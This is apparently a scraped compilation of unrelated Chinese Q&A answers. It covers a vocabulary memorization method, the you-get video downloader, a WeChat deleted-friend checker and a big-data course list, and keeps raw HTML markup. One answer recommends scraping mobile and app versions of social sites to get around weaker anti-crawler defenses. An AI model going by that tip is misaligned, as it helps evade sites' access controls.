如果你是中学生，买一本最薄的单词册，仅仅需要象课文后边的单词表样子就行了（千万不要买厚的有例句有阅读那些，全是垃圾），你是初中的，就买从初中到高三全部齐全的单词册。如果你是高中，就买全高中的。如果你是大学的，就买6级英语的词汇表（不要买4级的！），还是老话，不要例句和习题，要纯单词！从A-Z 。　&/p&&br&&p&这表没有按照字母顺序，不好，你要照类似的但要按照顺序的。本来不按顺序也可以，但按照顺序主要是为了让自己在记忆的过程里，知道自己的进度，从而产生成就感，这很重要。 有没有注音没有关系，注音用不上的，因为我们只记字型，千万别去发音，否则你走不下去的。&/p&&p&现在开始如何记忆，时间一个小时。&/p&&br&&p&你拿一张A4大小的白纸，不要有单行的，免得干扰你的视觉。&/p&&p&看着单词表，把第一个单词比方说 clean 写在白纸上，位置随便，然后眼睛盯着字型，默念它的中文意思“清除，清除，清除，清除，清除”五次，记住，是默念，出声也行，但效率会降低，因此，最好是默念！&/p&&br&&p&不要理会它的英文发音，记住，不要管发音！如果你喜欢同时背它的发音，你可以离开了，这个方法不适合你。不要问我为什么，因为我只告诉你，就是这样才能成功，其他的人家都试过了，失败。&/p&&p&这样一来，目的是让字型和它的意思建立条件反射。由于是认形状，你写clean 的时候，要写得正规、千万别潦草，否则你的脑袋只会认出潦草的单词，呵呵。 也不需要写得跟印刷体一样，一般的正规写就OK拉，千万别连笔！&/p&&br&&p&写完第一个clean 后，默念后，一般来说，可以维持1分钟吧。这时候，你开始写第二个新词，&/p&&p&比方说camera，也是正规写，写好后，同样盯着单词的形状默念中文意思：“照相机，照相机，照相机，照相机，照相机”五次。 这时候，记住了。 不可以同时把中文意思写在纸上！！！！！！！ 因为任何一篇英语文章上面都没有中文字的。 也不要自作聪明写在纸的背后以防万一忘记去查，绝对不能写中文！&/p&&br&&p&我常常看见一些勤奋的学生，坐地铁时候，拿出单词本来记忆单词，我一看知道到他永远学不好了。因为他的单词本一面是英文，一面是中文，人脑有了依赖，一定记不住的！&/p&&p&继续。 念完“照相机”后，马上回头看一眼clean, 马上心里默念它的中文意思““清除”， 因为你还没有超过它的临界时间，一定能记得的！ 这就是为什么不需要写上中文意思的原由，因为你还记得。&/p&&br&&p&这时候，对于clean 我们重复了一次，因此，它在脑中的记忆时间顺利延长，这次，估计是2-3分钟。就是说，我们必须在2-3分钟之前再次重复看一次，否则，过了临界时间，你一定想不起来的，它就死了。&/p&&p&继续。 我们再扫一眼camera, 默念中文意思“照相机”，没问题，还记得，是吧！&/p&&p&写新单词，比方说是wear ，公正写在白纸上，然后盯着他默念它的意思“穿戴”五次。 记住了。然后，马上回头扫一眼clean,默念中文意思， 扫一眼 camera ,默念中文意思，应该还记得的！又及时重复了一次！！！！！！！！ 此时，它们的临界时间一定会指数延长的，估计是两倍左右4-6分钟！ 因此，你可以在4-6分钟还能记得住，超过了，就前功尽弃，会死亡。&/p&&br&&p&继续，现在扫一眼wear，默念中文意思，应该还记得的。&/p&&p&好了， 我们继续新增单词。这里有个小东西要说明，在你写每一个新单词到白纸上的时候，不要排列整齐！&/p&&br&&p&最好是彻底在纸上乱放地方，不要把第二个单词排在第一个单词的下面或傍边！ 如果你排在旁边，你可能仅仅是记住了单词的位置而不是它的意思，万一将来在文章里看到该单词，你会觉得很面善，但就是想不起什么意思！哈哈
&/p&&p&打乱来写，记住。千万别跟着写。 这也是前人的教训。&/p&&br&&p&好了，现在可以继续添加新单词了，比方说 mall
，随便写在白纸某个地方，然后盯着默念中文意思5次，记住了。马上回头把前面刚背过的单词一个一个扫一遍，要立刻在心里能默念出单词的意思。 你看，这样的做法 ，如果你写到第50个单词，的时候，第一个单词clean 将在你脑海里重复了50次，第二个单词重复了49次。。。。对比一下传统英语，你复习一个新单词50次，一天复习10次算，估计很多学生要用一个星期呢！ 我们一个小时的复习量就等于一般勤奋学生的一周！而且，实际上，我在很多朋友额学习过程中发现，人人都怕忘记，其实在新增单词到纸上的过程中，很多人都慢慢养成习惯，多看几遍！ 这种方法，可以叫做“螺旋重复”，或者我喜欢叫它“进一步，退两步”。 有个学生，背了头十几个后，发现记得很牢固，就很得意，大意了。 她一下子往前冲，一口气记住了6个新的单词，以为刚才刚看过一定能记住，结果又继续往前记住了6个，好了，回头一扫，发现开头记住的，本以为非常牢固的，竟然忘记了好几个！！！！我当场就把她臭骂了一通！ 说她自作聪明！后来，她体会到，临界时间太可怕，以后就老老实实“及时重复”了。 你们以后一定会犯同样的错误的，记住，解救的方法是：“进一步，退两步”。一定要“螺旋重复”。&/p&&br&&p&这样下来，一个小时里，你每次添加一个新单词，就把全部单词都很快地扫一遍，眼睛一到，心里立马默念出意思，反应慢慢会非常快，慢慢就能达到阅读时候的反应速度了。&/p&&p&好了。等你添加到第50个或第100个，白纸写满了，象一盘散沙，单词位置都是随意写上去的。你随便用手指点纸上的单词，马上能默念出意思，成功了。&/p&&br&&p&第一步完成。接下来，进行第二步。20分钟后，拿出白纸，扫一遍，应该个个都记得，如果万一有忘记的，你就要在下一张白纸写完后（第二天的事情了），不要等20分钟了，10分钟就开始扫一遍。每个人不同，自己可以试验一下。一般来说，20分钟是能记住所有单词的。&/p&&p&如果万一有几个忘记，可以马上查查单词表。最理想的情况是保证都记得，你可以缩小重复的间隔时间。&/p&&p&继续。 20分钟扫一次后，等上30分钟，再扫一遍，应该都能记得的！你看，不把中文写在纸上，人就老实了。然后，再过一个小时，看一遍。两个小时看一遍。 到了晚上，睡觉前扫一遍。 这样会不会很麻烦啊？不会的。一个单词看一眼一秒钟，一张纸50-100个单词，也就一分钟！你用一分钟的投资，换取了这么多单词的记忆延长！ 而且，根据我们的理论，记忆延长时间是指数增长的，越是后来的重复，延长的效果越长！&/p&&br&&p&第二天醒来，不要刷牙，马上先扫一遍，一般都能全部记得的！&/p&&p&第二天，中午，扫一遍，晚上扫一遍，够了。你一定能记得的。&/p&&p&第二天，你可以开第二张白纸了，如法炮制，写满它，和第一天一模一样，头一个小时“螺旋重复”，记住50-100个。然后20分钟，30分钟，1个小时，2个小时，晚上，各自扫一次。注意，第二张白纸的角上写上2，第一张白纸写上1，以后每天新增加的白纸，都要写上序号。&/p&&p&第三天，清早起来，把前两张先扫一遍。然后，昨天的那张（第二张）中午和晚上各扫一遍。第一张因为是第三天了，因此只要保证每天扫一遍就足够了！ 记住，所有纸，到了第三天都是每天看一遍就可以了，就可以一直保持记忆了，但不可以停下。直到你这个记忆过程全部结速，也就是说，直到你把单词册a-z全部记完为止。&/p&&br&&p&第三天，新增加新的单词纸张50-100个，同样的方法重复看。&/p&&p&第四天，昨天的要早午晚各一次，而以前的单词纸，只要看一次就ok了。&/p&&p&以后都这样做，直到整本单词册记完。&/p&&p&注意，在写单词到白纸上时候，不一定按照a-z的顺序。最好就是写一些a开头的，接着在同一张纸张上写t开头的，或者其他字母开头的，丰富多彩，更容易记忆的！ 你每写一个新单词，记住用铅笔在单词册上打上记号，注明已经记过，否则就乱了。&/p&&p&好了，在每天的重复中，每次扫一张纸只要1分钟，到了十张纸，也就是每天10分钟！非常节省的。&/p&&br&&p&&u&为什么我要你写在纸上呢？ 是为了随时随地及时重复：&/u&&/p&&p&提示：或者你可以每3个(或多个)单词为一组来记忆, 熟练后,每次增加一组(3个)单词,而不仅仅是增一个单词.&/p&&p&每天的纸，不要放在抽屉里，最好是随身放在口袋里（我身上前后上下口袋都是单词纸），实在没办法就放在包里随手可以拿出的地方。在你排队的时候，有几分钟，扫一眼！ 等公车时候，扫一分钟！ 在饭堂排队是，扫一眼！我就是这样做的，我的朋友们也是这样做的！ 你天天晚上可以追连续剧，在播广告那两分钟，你也给自己卖卖广告，马上扫一眼，心里知道，临界记忆时间又延长了！然后继续安心看你的连续剧。 记住，临界时间若过了还不复习，你就前功尽弃。因此，要快，尽快记下整本单词册！&/p&&br&&p&电视广告为什么老是疲劳轰炸，就是怕过了临界时间啊！明白了吧，为什么有些事和人老是忘不了，因为总在临界死亡前重复啊。 所以当有人说起很久很久以前某某色狼特别可恨，我就知道一定在漫长岁月里这个故事一定重复了很多次，否则早忘记了！真那么可恨？呵呵&/p&&p&当你每天重复看的时候，所有人会发现一个现象，有个别单词老想不起来！就是很面熟 ，就是想不起什么意思，气死！ 遇到这种情况，一般不要去查字典，而是放弃！！！！！！！！！！&/p&&br&&p&买一只黄色的荧光笔，遇到已经遗忘的个别单词，划一下（不要用其他笔，荧光笔的好处是整个单词盖住，不会影响它的形象，你不能用红笔在单词下划线，也不能在旁边打叉，那样会干扰字型）。100个单词，有10个想不起了，就划住它们，不要看了，也不要查了。因为你查一个旧词用的时间，可以记忆几个新词了！&/p&&br&&p&等半个月后，你记住了3000个单词，就回头把每张纸上鲜艳的黄色的单词（为什么用黄色，明亮啊！）从新写在一张新白纸上，专门记忆。估计有300个吧。 我们开始放弃了300个，得到了2700个！ 不需要完美。 等记住2700后，现在回头来收拾这300个老记不住的单词！这是最有效的方法，我们都这样干的，很有效，排除一切障碍。如同战争，伤员要先放下，以免阻碍革命。等革命成功了，再回去找当年的伤员，红军不怕远征难。&/p&&blockquote&&p&&b&如果你真的做了，到了你记完整本单词本，恭喜，学英语最辛苦的岁月你熬过了！90％完成了。但，还不是成功，因为临界时间依然存在！ 如果将来你不重复，还是会完蛋的！ 怎么办呢？难道还要以后拿出这堆纸片来看么？ 不用。 这时，进入关键的第二期：&/b&&br&&/p&&/blockquote&&p&趁着你脑海中滚烫的a-z全部单词还在，还没有衰变，马上做下一事情：大量开始阅读。&/p&&p&如果你是考六级，马上拿出六级的文章来看！ 这是最刺激的经历，可能半个月前，彻头彻尾的天书，现在竟然慢慢全部看懂了！而且不用查字典！ 我记得当年，我完成记忆单词册后，开始看的是美国的英文读者文摘，在一条水乡的渡船上，迎着凉风，竟然看懂了，是讲消防员的故事的。很多单词，发现原来是刚刚新鲜出炉记过的，好兴奋。&/p&&br&&p&你必须在记住单词册后第一个星期里，每天看至少10篇以上的文章，从文章里认出单词，这是非常激动人心的经历，当你这几天每天阅读时候，好象做梦一样，怎么我统统看懂了！ 当你从阅读里从新巩固了单词，它们就开始真正在你脑海生根了！记住，如果没有这个阶段，你上段时间的所有辛苦将全部完蛋！切记切记！ 在第一阶段记忆单词册的那些天，你严禁阅读。 现在，你要大量阅读，我们是分步学习法，必须如此，否则，没有效果的。&/p&&br&&p&这时候，你天天就是阅读文章，直到非常流利为止，刚开始会很慢，你从文章里认单词，肯定慢，不要图快，看懂就好！ 过了几天，看多了，很多单词会出现不止一次，单词就生根了！ 当然，不是说以后你一定不会忘记，以后你不看文章，一定会忘记的！ 但是，现在你已经有了质变，你可以随便看懂几乎所有英语文章，只要你经常阅读，看新闻，看看英文网站，你的单词会更加巩固！！！！&/p&&br&&p&以上。&/p&
告诉大家英语单词极速记忆法，江湖人称：阿新记忆法 ---------- 记忆大量单词，必须要在临界时间前重复，否则会前功尽弃。根据遗忘曲线，头一个小时会遗忘50％以上。其实，不止的！ 当你看一个新单词后，往往一分钟就忘掉了！因此，此法最重要的功夫分两步…
&p&第一条：&b&you-get（&a href=&///?target=https%3A///soimort/you-get/releases& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Releases · soimort/you-get · GitHub&i class=&icon-external&&&/i&&/a&，&/b&这里面有各种发布版本&b&）。&/b&什么，你不知道？想爬取视频网站的视频和图片分享网站的图片，是不是就得造个轮子写个爬虫？No，你只需要：&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span class=&err&&?&/span& &span class=&n&&pip3&/span& &span class=&n&&install&/span& &span class=&n&&you&/span&&span class=&o&&-&/span&&span class=&n&&get&/span&
&/code&&/pre&&/div&&p&能干什么呢？我提供几个例子：&/p&&br&&p&&b&1. 下载优酷视频&/b&&/p&&div class=&highlight&&&pre&&code class=&language-text&&? you-get /v_show/id_XMTc1MDQwODMxNg\=\=.html
优酷 (Youku)
container:
video-profile: 超清
552.9 MiB ( bytes) # download-with: you-get --format=hd2 [URL]
Downloading 麻雀 51.flv ...
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Merging video parts... Merged into 麻雀 51.mp4
&/code&&/pre&&/div&&p&评论区 &a class=&member_mention& href=&///people/3c7cca22& data-hash=&3c7cca22& data-hovercard=&p$b$3c7cca22&&@xavierskip&/a& 提到可以使用-p观看无广告的优酷视频！我在Mac上使用的是mplayer&/p&&p&，安装和使用方法如下：&/p&&div class=&highlight&&&pre&&code class=&language-text&&? brew install mplayer
? you-get -p /usr/local/Cellar/mplayer/1.3.0/bin/mplayer
/v_show/id_XMTc1MDQwODMxNg==.html
&/code&&/pre&&/div&&p&这样就可以使用本地播放器播放了&/p&&br&&p&&b&2. B站&/b&&/p&&div class=&highlight&&&pre&&code class=&language-text&&? you-get /video/av6543659/
【张继科】论张继科的CP是如何被国胖队手撕的
Flash video (video/x-flv)
28.2 MiB ( Bytes)
Downloading 【张继科】论张继科的CP是如何被国胖队手撕的.flv ...
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Downloading 【张继科】论张继科的CP是如何被国胖队手撕的.cmt.xml ...
&/code&&/pre&&/div&&p&&b&3. 网易云音乐&/b&&/p&&div class=&highlight&&&pre&&code class=&language-text&&? you-get /\#/song\?id\=
5. Rolling in the deep
MP3 (audio/mpeg)
5.86 MiB (6144044 Bytes)
Downloading 5. Rolling in the deep.mp3 ...
5.9MB) ├████████████████████████████████████████████████████████████████████████████┤[1/1] 16 MB/s
Saving 5. Rolling in the deep.lrc ...Done.
&/code&&/pre&&/div&&p&&b&4. 花瓣画板&/b&&/p&&div class=&highlight&&&pre&&code class=&language-text&&? you-get /boards//
花瓣 (Huaban)
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.... 图片太多就展示到这里吧 (?&?&?)
&/code&&/pre&&/div&&br&&p&支持的网站太多，还是去&a href=&///?target=https%3A///soimort/you-get%23supported-sites& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&GitHub - soimort/you-get: Dumb downloader that scrapes the web&i class=&icon-external&&&/i&&/a&看吧，如果你有其他网站的需求，欢迎去PR添加支持，未来让其他同学也能受益。&/p&&br&&p&&b&&u&还不快去用！！！&/u&&/b&&/p&&br&&p&you-get的可扩展爬虫实现非常值得学习，相信给它贡献代码甚至读了它的源码都会对你的爬虫技术有所提高的。&/p&&br&&p&第二条： &b&不要只看 Web 网站, 还有移动版、 App 和 H5, 它们的反爬虫措施一般比较少, 所有社交网站爬虫, 优先选择爬移动版。 &/b&这条大家好像都是直接忽略的... 忧伤&/p&&p&&b&欢迎关注本人的微信公众号获取更多Python相关的内容（也可以直接搜索「Python之美」）：&/b& &/p&&p&&a href=&///?target=http%3A///r/D0zH35LE_s_Frda89xkd& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&/r/D0zH35L&/span&&span class=&invisible&&E_s_Frda89xkd&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a& (二维码自动识别)&/p&
第一条：you-get（，这里面有各种发布版本）。什么，你不知道？想爬取视频网站的视频和图片分享网站的图片，是不是就得造个轮子写个爬虫？No，你只需要：? pip3 install you-get能干什么呢？我提供几个例子： 1. …
&p&来来来，告诉你们一点人生经验，想知道&b&哪个微信好友把你删了吗？&/b&&/p&&p&github地址：&a href=&///?target=https%3A///0x5e/wechat-deleted-friends& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/0x5e/wechat-&/span&&span class=&invisible&&deleted-friends&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&原理就是新建群组,如果加不进来就是被删好友了(不要在群组里讲话,别人是看不见的)，用的是微信网页版的接口。&/p&&p&github上只有在Mac OS上的用法，亲测Windows下可以正常使用，下面说一下Windows下用法：&/p&&p&首先下载到你的电脑上，然后打开命令行，然后用cd命令找到源代码所在目录。&/p&&p&然后运行& python wdf.py
入下图所示：&/p&&img src=&/b56cbff089150efe64d99e_b.png& data-rawwidth=&615& data-rawheight=&193& class=&origin_image zh-lightbox-thumb& width=&615& data-original=&/b56cbff089150efe64d99e_r.png&&&br&&p&是的，大胆的按下回车键！！！&/p&&p&然后就弹出了二维码！，如下图所示：&/p&&p&&img src=&/69ce37aee7fbaab42c0e451_b.png& data-rawwidth=&566& data-rawheight=&511& class=&origin_image zh-lightbox-thumb& width=&566& data-original=&/69ce37aee7fbaab42c0e451_r.png&&接着微信扫一扫，程序会自动登录网页版微信。一会就可以查看谁把你删除了，如图所示：&/p&&p&&img src=&/3b63ae700fdf2110d93ece_b.png& data-rawwidth=&549& data-rawheight=&265& class=&origin_image zh-lightbox-thumb& width=&549& data-original=&/3b63ae700fdf2110d93ece_r.png&&哈哈，人品还好，我没有被任何好友删除。&/p&&p&比那些群发消息来清理通讯录的童鞋不知道高到哪里去了！识得唔识得嘎？？？&/p&
来来来，告诉你们一点人生经验，想知道哪个微信好友把你删了吗？github地址：原理就是新建群组,如果加不进来就是被删好友了(不要在群组里讲话,别人是看不见的)，用的是微信网页版的接口。github上只有在Mac OS上的用法，亲测Windows下…
&b&5月10号更新
- &/b&&b&最近太忙，辛苦&/b&&b&大家&/b&&b&久&/b&&b&待了。&/b&&b&没想到那么多人....&/b&&b&话不多说，上货。&/b&&br&&br&&br&&br&我整理了国外一些靠谱的大数据免费教程，推出一套网络自学攻略。 &br&&b&目前是 Alpha Version， 将逐步翻译，整理，补充&/b&&br&&br&注：&br&&ul&&li&这是非常技术流的教程，涉及大数据处理，编程和统计。不是Excel sheet，PowerPoint或者商业咨询市场分析类型，如果你是目的是做普通的Business Analyst 或者 BI 咨询，你不需要这个教程。&/li&&li&针对大数据（1 TB+ ）的处理和分析（如果你的数据只是几个Excel sheet，请略过）&/li&&li&所有教程内容都是英文，你可能需要翻墙（后果自负）。&br&&/li&&/ul&&br&&br&教程亮点：&br&&ul&&li& 全部&b&&u&免费&/u&&/b&哦！&br&&/li&&li&帮助完全没有概念的菜鸟快速入门（教授基础的统计学和编程知识, 无需基础但要有常识）&/li&&li&从数据采集，分析，到最终可视化展示，教授大数据分析全过程的重要理念，方法和工具。&/li&&li&所需时间：310+ 小时。 &br&&/li&&ul&&li&菜鸟：要那么长时间？太慢了？&/li&&li&回答：什么？啥基础都没有，想要多快？你学了9年英语还要3个月新东方考GRE呢。&/li&&li&菜鸟：我有些学过了&/li&&li&回答：你不会跳过啊，菜鸟。&/li&&/ul&&/ul&&br&申明：我在英文环境下学习和培养的专业能力，很多术语的中文名称不了解，欢迎拍砖。&br&&br&这个教程包括以下几个方面:&br&&br&基础课程：&br&&ul&&li&exploratory and predictive statistics （统计学：检测数据和预测分析）&/li&&li&basic Python （Python编程基础）&/li&&li& advanced computer program design （电脑程序设计原理，进阶）&br&&/li&&li&an introduction to algorithms (算法基础）&/li&&li&R for statistical analysis （使用 R 做统计分析）&/li&&li&practical machine learning techniques （机器学习 基本技法）&/li&&li&Unix &/li&&li&data visualization best practices （数据视觉化展示 技巧）&/li&&/ul&&br&进阶套餐：&br&套餐A - 展示:
Visualizing Data 数据视觉化&br&套餐B - 算法：Analyzing Social Networks （社交网络分析）&br&套餐C - 技术： Big Data: Hadoop and MapReduce （大数据，Hadoop 和 MapReduce技能）&br&&br&作为一个需要花费时间整理的攻略，不知道以上内容大家是否刚兴趣。如果点赞人数超过50人，我就把教程写出来。&br&&br&&br&&b&-------------------------------割割哥-------------------------------------------&/b&&br&&br&&br&&b&统计篇&/b&&br&&br&&b&Exploratory and Predictive Statistics
- 初级&/b&&b&统计学 &/b&&br&&br&&b&统计学扫盲&/b&&br&1. &a href=&///?target=https%3A///statistics/%23/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Statistics - Udemy&i class=&icon-external&&&/i&&/a& ( 12 小时 ）&br&这个教程涵盖了统计学第一年的基础内容。简单粗暴，给你一个统计学的基本概念。这个课程虽然不能让你吃上猪肉，但是可以让你见到猪跑。&br&&br&Optional 完整基础入门课程 （Strongly recommend if you have the time）&br&2.1 &a href=&///?target=https%3A//www.edx.org/course/introduction-statistics-descriptive-uc-berkeleyx-stat2-1x%23%21& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Introduction to Statistics Descriptive Statistics &i class=&icon-external&&&/i&&/a&（50 小时）&br&The focus of Stat2.1x is on descriptive statistics. The goal of descriptive statistics is to summarize and present numerical information in a manner that is illuminating and useful. The course will cover graphical as well as numerical summaries of data, starting with a single variable and progressing to the relation between two variables. Methods will be illustrated with data from a variety of areas in the sciences and humanities.&br&&br&2.2 &a href=&///?target=https%3A//www.edx.org/course/introduction-statistics-probability-uc-berkeleyx-stat2-2x& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Introduction to Statistics: Probability&i class=&icon-external&&&/i&&/a& （50 小时）&br&The focus of Stat2.2x is on probability theory: exactly what is a random sample, and how does randomness work? If you buy 10 lottery tickets instead of 1, does your chance of winning go up by a factor of 10? What is the law of averages? How can polls make accurate predictions based on data from small fractions of the population? What should you expect to happen &just by chance&? These are some of the questions we will address in the course.&br&&br&2.3 &a href=&///?target=https%3A//www.edx.org/course/introduction-statistics-inference-uc-berkeleyx-stat2-3x& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Introduction to Statistics: Inference&i class=&icon-external&&&/i&&/a& （50 小时）&br&The focus of Stat2.3x is on statistical inference: how to make valid conclusions based on data from random samples. At the heart of the main problem addressed by the course will be a population (which you can imagine for now as a set of people) connected with which there is a numerical quantity of interest (which you can imagine for now as the average number of MOOCs the people have taken). &br&we will discuss good ways to select the subset (yes, at random); how to estimate the numerical quantity of interest, based on what yo and ways to test hypotheses about numerical or probabilistic aspects of the problem&br&&br&&br&&b&编程篇&/b&&br&&br&&br&&b&Basic Python &/b&&br&1. &a href=&///?target=http%3A///courses/python-beginner-en-kSQwt/0/1& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Intro to Python&i class=&icon-external&&&/i&&/a& (3 - 5 小时）&b&扫盲&/b&&br&&br&This is a great place to start if you have no programming background at all or want to brush up. If you have programming experience but have never seen Python, you may still want to skim through these lessons. You’ll learn basic programming techniques, such as loops, lists and dictionaries, functions, classes, and file input/ output.&br&&br&&br&1.1 彩蛋 &a href=&///?target=http%3A///courses/python-intermediate-en-7mgOa/0/1& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Complete the Python Statistics Problem Set&i class=&icon-external&&&/i&&/a& ( 0.5 小时 )&br&&br&2. &a href=&///?target=https%3A///course/cs212& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Videos and Problem Sets of Design of Computer Programs&i class=&icon-external&&&/i&&/a& (20 - 30 小时）&br&This class will teach you to write elegant and efficient code. This will be essential in order to manipulate data effectively and write code that is reusable and easy for others to understand. You will also learn about some of the more sophisticated Python techniques, such as generator functions and list comprehensions. &br&&br&Optional: Computer programming and Python 完整基础入门课程 &br&&br&2. &a href=&///?target=https%3A//www.edx.org/course/introduction-computer-science-mitx-6-00-1x-0%23%21& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Introduction to Computer Science and Programming Using Python&i class=&icon-external&&&/i&&/a&
(135 小时）&br&This course focuses on breadth rather than depth. The goal is to provide students with a brief introduction to many topics so they will have an idea of what is possible when they need to think about how to use computation to accomplish some goal later in their career.&br&&ul&&li&A Notion of computation&/li&&li&The Python programming language&/li&&li&Some simple algorithms&/li&&li&Testing and debugging&/li&&li&An informal introduction to algorithmic complexity&/li&&li&Data structures&/li&&/ul&&br&&br&SQL and JSON&br&&br&1. &a href=&///?target=https%3A//www.coursera.org/course/db& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&& Introduction to Database&i class=&icon-external&&&/i&&/a& ( 10 小时 - 只需要看前面的基础部分）&br&Watch the videos on Relational Databases, JSON Data, Relational Algebra, and SQL, and complete the exercises for those sections. &br&&br&&br&&b&Algorithm 入门&/b&&br&&br&1. &a href=&///?target=http%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-046j-introduction-to-algorithms-sma-5503-fall-2005/index.htm& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Introduction to Algorithms (SMA 5503)&i class=&icon-external&&&/i&&/a& （15小时 - 只需要看前面的基础部分）&br&This course teaches techniques for the design and analysis of efficient algorithms, emphasizing methods useful in practice. Topics covered include: search trees, heaps, divide-and- co number- polynomial and and parallel computing.&br&&br&&b&工具篇&/b&&br&&br&&br&1. &a href=&///?target=https%3A//class.coursera.org/startup-001/lecture/107& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Unix Basics [4:20]&i class=&icon-external&&&/i&&/a& （ 1 小时 ）&br&大部分的大数据开发和分析环境在Unix系统中进行，如果你用Mac或者Unix，You need to learn how to talk to your computer using the command line.&br&Watch &br&&ul&&li&[Lecture 3: Linux and Server-Side Javascript]&/li&&li&[Lecture 4a: The Linux Command Line ]&br&&/li&&/ul&&br&2. &a href=&///?target=https%3A///courses/try-git& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Try Git&i class=&icon-external&&&/i&&/a& （1小时）&br&Git is a version control system. It enables programmers to work together on large projects without overwriting each other’s work. Furthermore, it saves old versions of code in case you make a mistake and need to revert back. It can also be a useful portfolio of your programming and analysis projects to show potential employers.&br&&br&&br&&b&分析篇&/b&&br&&br&&b&Data Visualization Best Practices （数据视觉化展示 技巧）&/b&&br&&br&1. &a href=&///?target=https%3A///watch%3Fv%3DfZswD5RC1G8%26list%3DPLa4VFIBUKrgLao-DalwedOCiq9RV6MPk9& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Introduction to Infographics and Data Visualization&i class=&icon-external&&&/i&&/a& ( 5 小时）&br&These videos are enjoyable and they make a nice break from the more technically challenging courses in this path. However, while the material in the course may be easy to understand, data visualization is a deeper topic than it seems. These examples should help illuminate what makes a good visualization and give ideas for some more creative ways to display information. You will also learn general principles of graphic design and visual perception.&br&&br&Optional:
&a href=&///?target=http%3A///Information-Dashboard-Design-Effective-Communication/dp//ref%3Dla_B001H6IQ5M_1_4%3Fs%3Dbooks%26ie%3DUTF8%26qid%3D%26sr%3D1-4& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Information Dashboard Design: The Effective Visual Communication of Data by Stephen Few&i class=&icon-external&&&/i&&/a&
- Dashboard 设计的经典书籍&br&&br&&br&&b& Python 数据分析&/b&&br&&br&Python 有很多针对统计和数据分析的library，常用的有：Pandas, Scipy, Numpy, and Scikit&br&1. &a href=&///?target=http%3A//pandas.pydata.org/pandas-docs/stable/10min.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Introduction to Pandas&i class=&icon-external&&&/i&&/a& （ 1 小时）&br&2. &a href=&///?target=http%3A//www.scipy.org/install.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&explore SciPy and Numpy libraries&i class=&icon-external&&&/i&&/a& （5 小时）&br&&br&&br&&b&机器学习 Practical Machine Learning &/b&&br&&br&Machine learning aims to extract knowledge from data, relying on fundamental concepts in computer science, statistics, probability and optimization. Learning algorithms enable a wide range of applications, from everyday tasks such as product recommendations and spam filtering to bleeding edge applications like self-driving cars and personalized medicine. In the age of ‘Big Data,’ with datasets rapidly growing in size and complexity and cloud computing becoming more pervasive, machine learning techniques are fast becoming a core component of large-scale data processing pipelines.&br&&br&1. &a href=&///?target=https%3A//www.edx.org/course/introduction-big-data-apache-spark-uc-berkeleyx-cs100-1x%23.VICllWTF85s& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Introduction to Big Data with Apache Spark&i class=&icon-external&&&/i&&/a& (30 小时 with Python)&br& teach students how to use PySpark (part of Apache Spark) to deliver against their data for decision support and to build data-intensive products and services, such as recommendation, prediction, and diagnostic systems. &br&&ul&&li&Learn how to use Apache Spark to perform data analysis&/li&&li&How to use parallel programming to explore data sets&/li&&li&Apply Log Mining, Textual Entity Recognition and Collaborative Filtering to real world data questions&/li&&/ul&&br&2. &a href=&///?target=https%3A//www.edx.org/course/scalable-machine-learning-uc-berkeleyx-cs190-1x%23%21& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Scalable Machine Learning&i class=&icon-external&&&/i&&/a& (35 小时 - With Python and Spark )&br&This course introduces the underlying statistical and algorithmic principles required to develop scalable real-world machine learning pipelines. We present an integrated view of data processing by highlighting the various components of these pipelines, including exploratory data analysis, feature extraction, supervised learning, and model evaluation. You will gain hands-on experience applying these principles using Apache Spark, a cluster computing system well-suited for large-scale machine learning tasks. You will implement scalable algorithms for fundamental statistical models (linear regression, logistic regression, matrix factorization, principal component analysis) while tackling key problems from various domains: online advertising, personalized recommendation, and cognitive neuroscience.&br&&ul&&li&The underlying statistical and algorithmic principles required to develop scalable real-world machine learning pipelines&/li&&li&Exploratory data analysis, feature extraction, supervised learning, and model evaluation&/li&&li&Application of these principles using Apache Spark&/li&&li&How to implement scalable algorithms for fundamental statistical models&/li&&/ul&&br&Optional: &a href=&///?target=http%3A//online.stanford.edu/course/statistical-learning-winter-2014& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Statistical Learning&i class=&icon-external&&&/i&&/a&
( 30 小时 - with R )&br&This is an introductory-level course in supervised learning, with a focus on regression and classification methods. The syllabus includes: linear and polynomial regression, logistic regression and linear d cross-validation and the bootstrap, model selection and regularization methods (ridge and lasso); nonlinear models, splines and general tree-based methods, random
support-vector machines. Some unsupervised learning methods are discussed: principal components and clustering (k-means and hierarchical).&br&&br&&b&大数据分析实战&/b&&b& with R&/b&&br&&br&注： R 并不适合真正的大数据应用，这些课程是一个补充，可以略过&br&1. &a href=&///?target=http%3A///& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Try R&i class=&icon-external&&&/i&&/a& ( 5 小时）&br&R is a tool for statistics and data modeling. The R programming language is elegant, versatile, and has a highly expressive syntax designed around working with data. R is more than that, though — it also includes extremely powerful graphics capabilities. If you want to easily manipulate your data and present it in compelling ways, R is the tool for you.&br&This course will teach you the basics of R: data types, summary statistics, functions, and control structures.&br&&br&2. &a 